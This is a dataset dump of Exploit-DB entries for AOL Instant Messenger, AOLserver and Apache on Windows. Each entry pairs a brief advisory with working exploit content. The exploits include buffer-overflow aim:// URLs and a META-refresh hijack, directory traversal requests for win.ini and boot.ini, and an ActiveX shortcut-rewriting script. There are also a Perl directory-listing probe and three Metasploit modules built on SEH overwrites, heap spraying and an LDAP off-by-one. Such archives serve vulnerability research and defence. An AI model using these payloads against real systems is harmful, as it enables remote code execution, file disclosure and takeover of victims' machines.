deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20510
Description: AOL Instant Messenger 3.5.1856/4.0/4.1.2010/4.2.1193 - 'aim://' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2000-12-12
Author: Joe Testa

Exploit:
source: https://www.securityfocus.com/bid/2118/info

AOL Instant Messenger (AIM) is a real time messaging service for users that are on line. When AOL Instant Messenger is installed, by default it configures the system so that the aim: URL protocol connects aim:// urls to the AIM client. There exists a buffer overflow in parsing aim:// URL parameters.

This vulnerability exists in versions of AOL Instant previous to Messenger 4.3.2229. By sending a specially crafted URL ,using the 'aim:' protocol, comprised of 'goim' and 'screenname' parameters, it is possible for a remote user to overflow the buffer during a memory copy operation and execute arbitarary code.

It should be noted that the victim need only have AIM installed on their machine to be vulnerable. Even if AIM is not running, if a user clicks or otherwise activates a malicious aim:// url, the overflow will occur. Additionally it should be noted that AIM is often included/bundled with Netscape Communicator and possibly other popular software programs.

Successful exploitation of this vulnerability will lead to complete comprimise of the target host. 

href="aim:goim? screenname=AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA&message=EIP,+the+other+white+meat" >here</a><br>
Exploit-DB #20511
Description: AOL Instant Messenger 4.0/4.1.2010/4.2.1193 - BuddyIcon Buffer Overflow
Type: remote
Platform: windows
Date: 2000-12-12
Author: @stake

Exploit:
source: https://www.securityfocus.com/bid/2122/info

AOL Instant Messenger (AIM) is a real time messaging service for users that are on line. When AOL Instant Messenger is installed, by default it configures the system so that the aim: URL protocol connects aim:// urls to the AIM client. There exists a buffer overflow in parsing aim:// URL parameters.

The buffer overflow has to do with the parsing of parameters associated with the "buddyicon" option. The stack overflow will occur If the "Source" parameter, which arguments the buddyicon option, is more than 3000 characters in length. It may be possible to execute arbitrary code. Since this vulnerability manifests itself in an URL, a user needs only to click on the URL (which can be embedded in email, webpages, chatrooms, etc) for the flaw to be exploited.

It should be noted that the victim need only have AIM installed on their machine to be vulnerable. Even if AIM is not running, if a user clicks or otherwise activates a malicious aim:// url, the overflow will occur. Additionally it should be noted that AIM is often included/bundled with Netscape Communicator and possibly other popular software programs.

Successful exploitation of this vulnerability will lead to complete comprimise of the target host. 

aim:buddyicon?screenname=abob&groupname=asdf&Src=http://localhost/AAA...
Exploit-DB #21958
Description: AOL Instant Messenger 4.8.2790 - Local File Execution
Type: remote
Platform: windows
Date: 2002-10-22
Author: Blud Clot

Exploit:
source: https://www.securityfocus.com/bid/6027/info

AOL Instant Messenger (AIM) is prone to an issue which may allow attackers to execute arbitrary files on the client system. It is possible to send a malicious link which references local files to a user of the client. When the link is visited, the referenced file on the client's local filesystem will be executed.

To exploit this issue, the attacker must know the exact location of the file to be executed. Additionally, there can be no spaces in the path or filename. This limits exploitability, since files must be on the same partition and command line arguments cannot be supplied.

Versions other than AOL Instant Messenger 4.8.2790 do not seem to be affected by this vulnerability. The vulnerability was reported for Microsoft Windows versions of the client. 

<a href ="../../../../progra~1/trojan/trojan.exe">www.example.com</a>
Exploit-DB #21386
Description: AOL Instant Messenger 4.x - Arbitrary File Creation
Type: remote
Platform: windows
Date: 2002-04-17
Author: Noah Johnson

Exploit:
source: https://www.securityfocus.com/bid/4526/info

An issue has been reported, which could allow an AIM user to save files to arbitrary locations.

Reportedly, this is achievable when a direct connection is made between two AIM users. Files that are sent to a user include an img tag and a data tag. Upon a file being sent, the recipient's client will automatically execute the file accordingly. When the client executes the file, a file is created in the Windows temp directory and is read directly from there.

It is possible for a user to modify the file in such a way that the file will be created in a specific target directory. This is accomplished by including '..\' character sequences in the SRC parameter of the img tag. In addition, the img tag can also be modified so the icon does not appear in the recipient's client.

As a result, files may be saved to an arbitrary directory on an unknowing recipient's system. This may assist in leveraging further attacks against the user. 

<HTML><BODY>Hey, what's up?<IMG
SRC="\..\system\johnny.important_file" HEIGHT="0"
WIDTH="0" DATASIZE="50"
ID="1"></BODY></HTML><BINARY><DATA
ID=1">***WAVE FILE DATA
HERE***</DATA></BINARY>

However, injection into the AIM communication stream may require additional work as the protocol includes some overhead such as sequence numbers for messages.
Exploit-DB #21196
Description: AOL Instant Messenger 4.x - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2002-01-02
Author: Matt Conover

Exploit:
source: https://www.securityfocus.com/bid/3769/info

AOL Instant Messenger (AIM) is a real time messaging service.

The vulnerability exists in the way that AIM parses a game request with a TLV (type, length, value) type of 0x2711. This type of game request is prone to a buffer overflow which could allow a remote user to obtain the same privileges of the user who is currently logged on.

It is important to note that there is currently no way for an AIM user to block this type of request.

**AOL has made modifications to their AIM servers to prevent this vulnerability from being exploited through their servers. However, the underlying problem still exists in the client software which could still be exploited using something similar to a man in the middle attack or if an attacker can bypass the filters on the AIM servers. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21196.tgz
Exploit-DB #21619
Description: AOL Instant Messenger 4.x - Unauthorized Actions
Type: remote
Platform: windows
Date: 2002-07-16
Author: orb

Exploit:
source: https://www.securityfocus.com/bid/5246/info


The AOL Instant Messenger client is prone to an issue which may allow maliciously crafted HTML to perform unauthorized actions (such as adding entries to the buddy list) on behalf of the user of a vulnerable client. This condition is due to how the client handles "aim:" URIs. These actions will be taken without prompting or notifying the user.

This issue was reported for versions of AIM running on Microsoft Windows and MacOS. The Linux version of the client is not affected by this vulnerability.

<META HTTP-EQUIV="refresh"CONTENT=0;URL=aim:addbuddy?listofscreennames=mindfliporg,mfliporb,mflipmax,mflips0nic,mflipzorcon&groupname=mindfliporg>

A web page loaded with the above code in the META REFRESH tag will
automatically add a group called mindfliporg and add the users mindfliporg, mfliporb, mflipmax, mflips0nic, mflipzorcon to buddy list.
Exploit-DB #23730
Description: AOL Instant Messenger 4.x/5.x - Buddy Icon Predictable File Location
Type: remote
Platform: windows
Date: 2004-02-19
Author: Michael Evanchik

Exploit:
source: https://www.securityfocus.com/bid/9698/info

It has been reported that AOL Instant Messenger stores imported Buddy Icons in a predictable location on client systems that may allow an attacker to facilitate further attacks which could eventually lead to execution of arbitrary code.

This issue has been tested on AOL Instant Messenger versions 4.3 to 5.5, however, it is possible that other versions are affected as well. 

<script>
var ok = new ActiveXObject("Shell.Application");
f = ok.NameSpace("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Accessories");
i= f.ParseName("Paint.lnk");
l = i.GetLink;
l.Path = "mshta.exe"
l.Arguments ="http://www.example.com"
l.Save("C:\\paint.lnk");
ok.Open("C:\\paint.lnk");
</script>
Exploit-DB #16525
Description: AOL Instant Messenger AIM - goaway Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: aim_goaway.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	#
	# This module acts as an HTTP server and exploits an SEH overwrite
	#
	include Msf::Exploit::Seh
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AOL Instant Messenger goaway Overflow',
			'Description'    => %q{
					This module exploits a flaw in the handling of AOL Instant
				Messenger's 'goaway' URI handler.  An attacker can execute
				arbitrary code by supplying a overly sized buffer as the
				'message' parameter.  This issue is known to affect AOL Instant
				Messenger 5.5.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'skape',
					'thief <thief@hick.org>'
				],
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'CVE', '2004-0636' ],
					[ 'OSVDB', '8398'    ],
					[ 'BID', '10889'],
					[ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],
				],
			'Payload'        =>
				{
					'Space'    => 1014,
					'MaxNops'  => 1014,
					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					# Target 0: Automatic
					[
						'Windows NT/2000/XP/2003 Automatic',
						{
							'Platform' => 'win',
							'Rets'     =>
								[
									0x1108118f, # proto.com: pop/pop/ret
								],
						},
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 09 2004'))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Build out the message
		msg =
			make_nops(1014 - p.encoded.length) +     # NOP sled before the payload
			p.encoded +                              # store the payload
			generate_seh_record(target['Rets'][0]) + # set up the SEH frame
			"\x90\xe9\x13\xfc\xff\xff"               # jmp -1000

		# Build the HTML content
		content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #3662
Description: AOL SuperBuddy - ActiveX Control Remote Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2007-04-04
Author: Krad Chad

Exploit:
require 'msf/core'

module Msf

class Exploits::Windows::Browser::AOL_SuperBuddy_LinkSBIcons < Msf::Exploit::Remote

	include Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AOL Sb.Superbuddy vulnerability',
			'Description'    => %q{
				This module exploits a flaw in AOL Sb.SuperBuddy. We stole this code from a pre-existing metasploit module.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 
				[ 
					'kradchad',
					'leetpete'
				],
			'Version'        => '0.1',
			'References'     => 
				[
					[ 'CVE', 'CVE-2006-5820']
				],
			'Payload'        =>
				{
					'Space'          => 1024,
					'BadChars'       => "\x00",
	
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]
				],
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end
	
	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		
		# Get a unicode friendly version of the return address
		addr_word  = [target.ret].pack('V').unpack('H*')[0][0,4]

		# Randomize the javascript variable names	
		var_buffer    = rand_text_alpha(rand(30)+2)
		var_shellcode = rand_text_alpha(rand(30)+2)
		var_unescape  = rand_text_alpha(rand(30)+2)
		var_x         = rand_text_alpha(rand(30)+2)
		var_i         = rand_text_alpha(rand(30)+2)
		var_tic       = rand_text_alpha(rand(30)+2)
		var_toc       = rand_text_alpha(rand(30)+2)
		
		# Randomize HTML data
		html          = rand_text_alpha(rand(30)+2)
		
		# Build out the message
		content = %Q|
<html>
<head>
	<script>
	try {
	
	var #{var_unescape}  = unescape ;
	var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;
	
	var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
	while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ;

	var #{var_x} = new Array() ;	
	for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) {
		#{var_x}[ #{var_i} ] = 		
			#{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
	}
	
	
   	var #{var_tic} = new ActiveXObject( 'Sb.SuperBuddy.1' );	
	try { #{var_tic}.LinkSBIcons( #{target.ret} ) ; } catch( e ) { }

	
	} catch( e ) { window.location = 'about:blank' ; }
	
	</script>
</head>
<body>
#{html}
</body>
</html>		
		|

		# Randomize the whitespace in the document
		content.gsub!(/\s+/) do |s|
			len = rand(100)+2
			set = "\x09\x20\x0d\x0a"
			buf = ''
			
			while (buf.length < len)
				buf << set[rand(set.length)].chr
			end
			
			buf
		end
		
		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)
	end

end

end

# milw0rm.com [2007-04-04]
Exploit-DB #20614
Description: aolserver 3.2 Win32 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-02-06
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2343/info

It is possible for a remote user to gain read access to directories outside the root directory of an AOLserver. Requesting a specially crafted URL composed of '.../' sequences will disclose an arbitrary directory. 

http://target/.../[file outside web root]
Exploit-DB #21204
Description: Apache 1.3.20 (Win32) - 'PHP.exe' Remote File Disclosure
Type: remote
Platform: windows
Date: 2002-01-04
Author: Paul Brereton

Exploit:
source: https://www.securityfocus.com/bid/3786/info

A vulnerability exists in the suggested default configuration for the Apache PHP.EXE binary on Microsoft Windows platforms. This issue has the potential to disclose the contents of arbitrary files to remote attackers.

As a result, it is possible for an attacker to append a filepath to the end of web request for php.exe. Files targetted in this manner will be served to the attacker.

It is also possible to run executables in the PHP directory via successful exploitation of this vulnerability.

http://[targethost]/php/php.exe?c:\[filepath]
Exploit-DB #19975
Description: Apache 1.3.6/1.3.9/1.3.11/1.3.12/1.3.20 - Root Directory Access
Type: remote
Platform: windows
Date: 2000-05-31
Author: H D Moore

Exploit:
source: https://www.securityfocus.com/bid/1284/info

Apache HTTP Server 1.3.x (win32) allows people to get a directory listing of a directory, if it is enabled in the config, even if an index file is present that would normally be displayed instead. This can be achieved by sending a number of "/" characters appended to an HTTP request to the server. (eg: http://www.host.com///////////////////////////////////////////////////////...) When apache calls stat() to check if the index.html (for example) exists, Windows will return an error if the path is too long. Apache incorrectly treats this as if the file does not exist. Different numbers of "/"s are required based on the length of the path to the DocumentRoot. 

#!/usr/bin/perl

use LWP::Simple;
use strict;

my $host = shift() || die "usage:  $ARGV[0] [hostname]";
my $cnt;
my $data;
my $odata;
my $i;

$odata = get("http://$host/");
if ($odata eq "")
{
    die "no response from server:  $host\n";
}
for ($i = 2; $i < 4096; $i++)
{
    print "Trying $i...\n";
    $data = get("http://$host" . ("/" x $i));
    if ($data ne $odata)
    {
        print "/ = $i\n\n$data\n\n";
        exit;
    }
}
Exploit-DB #21697
Description: Apache 2.0 - Encoded Backslash Directory Traversal
Type: remote
Platform: windows
Date: 2002-08-09
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/5434/info

A directory traversal vulnerability exists in Apache versions 2.0.39 and earlier on non-Unix platforms (potentially including Apache compiled with CYGWIN). Platforms that may be affected by this include Windows, OS2, and Netware.

The issue is related to the failure to properly process the backslash '\' character, which may be used as a directory delimiter under these platforms. By using the URL encoded sequence '%2e%2e%5c', the web root may be escaped.

Exploitation may result in the disclosure of sensitive information. Additionally, arbitrary local programs may be executed with attacker supplied parameters if directory traversal techniques are used to escape the cgi-bin directory.

http://127.0.0.1/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini
http://127.0.0.1/cgi-bin/%5c%2e%2e%5cbin%5cwintty.exe?%2dt+HELLO
Exploit-DB #21719
Description: Apache 2.0 - Full Path Disclosure
Type: remote
Platform: windows
Date: 2002-08-16
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/5485/info

A path disclosure vulnerability has been reported in Apache 2.0.x.

It is possible to reproduce this condition on vulnerable systems by making a request for certain types of files (such as error documents) that have been mapped by the server by type but fail to be served due to failure of MIME negotiation.

http://target/error/HTTP_NOT_FOUND.html.var
Exploit-DB #30901
Description: Apache 2.2.6 (Windows) - Share PHP File Extension Mapping Information Disclosure
Type: remote
Platform: windows
Date: 2007-12-19
Author: Maciej Piotr Falkiewicz

Exploit:
source: https://www.securityfocus.com/bid/26939/info

Apache is prone to an information-disclosure vulnerability.

This issue occurs because Apache fails to properly associate file extensions with the correct engines when handling specially crafted requests for files on Windows SMB shares.

Attackers can leverage this issue to view arbitrary script files as plain text. Potentially sensitive information may be present in the script code. Information harvested could aid in further attacks.

This issue affects Apache 2.2.6 when serving PHP files from a Windows SMB share; other versions may also be affected.

NOTE: This issue may also occur when handling other filename extensions that use AddType directives to associate scripts or executables (e.g. '.cgi\', '.py\', '.rb\', etc.).

http://www.example.com/winshare/info.php\
Exploit-DB #23751
Description: Apache Cygwin 1.3.x/2.0.x - Directory Traversal
Type: remote
Platform: windows
Date: 2004-02-24
Author: Jeremy Bae

Exploit:
source: https://www.securityfocus.com/bid/9733/info

It has been reported that Apache may be prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory. This issue is only reported to present itself in Apache running on cygwin platforms. A remote attacker may traverse outside the server root directory by using encoded '\..' character sequences.

http://www.example.com/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
http://www.example.com/..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini
Exploit-DB #16752
Description: Apache mod_rewrite - LDAP protocol Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-02-15
Author: Metasploit

Exploit:
##
# $Id: apache_mod_rewrite_ldap.rb 8498 2010-02-15 00:48:03Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apache module mod_rewrite LDAP protocol Buffer Overflow',
			'Description'    => %q{
				This module exploits the mod_rewrite LDAP protocol scheme handling
				flaw discovered by Mark Dowd, which produces an off-by-one overflow.
				Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable.
				This module requires REWRITEPATH to be set accurately. In addition,
				the target must have 'RewriteEngine on' configured, with a specific
				'RewriteRule' condition enabled to allow for exploitation.

				The flaw affects multiple platforms, however this module currently
				only supports Windows based installations.
			},
			'Author'         => 'patrick',
			'Version'        => '$Revision: 8498 $',
			'References'     =>
				[
					[ 'CVE', '2006-3747' ],
					[ 'OSVDB', '27588' ],
					[ 'BID', '19204' ],
					[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2006-07/0514.html' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/3680' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/3996' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/2237' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Platform'       => ['win'], # 'linux'],
			'Payload'        =>
				{
					'Space'    => 636,
					'BadChars' => "\x00\x0a\x0d\x20",
					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
					'StackAdjustment' => -3500,
					'DisableNops'  =>  'True',
				},
			'Targets'        =>
				[
					[  'Automatic', {} ], # patrickw tested OK 20090310 win32
				],
			'DisclosureDate' => 'Jul 28 2006',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('REWRITEPATH', [true, "The mod_rewrite URI path", "rewrite_path"]),
				], self.class)
	end


	def check
		res = send_request_raw({
			'uri'     => '/',
			'version' => '1.1',
		}, 2)

		if (res.to_s =~ /Apache/) # This could be smarter.
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe

	end

	def exploit

		# On Linux Apache, it is possible to overwrite EIP by
		# sending ldap://<buf> ... TODO patrickw

		trigger = '/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90'

		print_status("Sending payload.")
		send_request_raw({
				'uri'     => '/' + datastore['REWRITEPATH'] + trigger + payload.encoded,
				'version' => '1.0',
				}, 2)
		handler
	end
end